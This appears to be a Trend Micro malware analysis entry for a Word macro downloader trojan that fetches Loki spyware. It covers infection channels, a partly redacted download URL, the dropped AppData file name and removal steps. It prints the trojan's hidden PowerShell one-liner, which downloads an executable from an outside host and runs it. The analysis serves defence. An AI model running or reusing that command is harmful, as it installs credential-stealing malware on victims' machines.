Analysis by: John Anthony Banes
ALIASES:

W97M.Downloader.GOV (BitDefender); TrojanDownloader:O97M/Donoff (Microsoft)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel: Spammed via email, Dropped by other malware, Downloaded from the Internet

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

  TECHNICAL DETAILS

File Size: 114,688 bytes
File Type: DOC
Memory Resident: No
Initial Samples Received Date: 17 Jan 2018
Payload: Displays graphics/image, Connects to URLs/IPs, Downloads files

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • https://{BLOCKED}erowybank.pl/media/exploit/scan.exe

It saves the files it downloads using the following names:

  • %Application Data%\pnqd.exe

(Note: %Application Data% is the Application Data folder, where it usually is C:\Documents and Settings\{user name}\Application Data on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Roaming on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

Trend Micro detects the dowloaded file as:

  • TSPY_LOKI.XD

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

Other Details

This Trojan does the following:

  • It uses Powershell commands to download and execute a malicious file:
    powershell.exe -WindowStyle Hidden -noprofile If (test-path $env:APPDATA + '\pnqd.exe') {Remove-Item $env:APPDATA + '\pnqd.exe'}; $KDFB = New-Object System.Net.WebClient; $KDFB.Headers['User-Agent'] = 'USRUE-VNC'; $KDFB.DownloadFile('https://{BLOCKED}terowybank.pl/media/exploit/scan.exe', $env:APPDATA + '\pnqd.exe'); (New-Object -com Shell.Application).ShellExecute($env:APPDATA + '\pnqd.exe'); Stop-Process -Id $Pid -Force

NOTES:
The document displays the following image:

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 13.910.03
FIRST VSAPI PATTERN DATE: 17 Jan 2018
VSAPI OPR PATTERN File: 13.911.00
VSAPI OPR PATTERN Date: 18 Jan 2018

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Remove malware/grayware files dropped/downloaded by W2KM_DLOADER.XD. (Note: Please skip this step if the threats listed below have already been removed.)

    • TSPY_LOKI.XD

Step 4

Scan your computer with your Trend Micro product to delete files detected as W2KM_DLOADER.XD. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 5

Enable the macro virus protection in Microsoft Office Applications

[ Learn More ]


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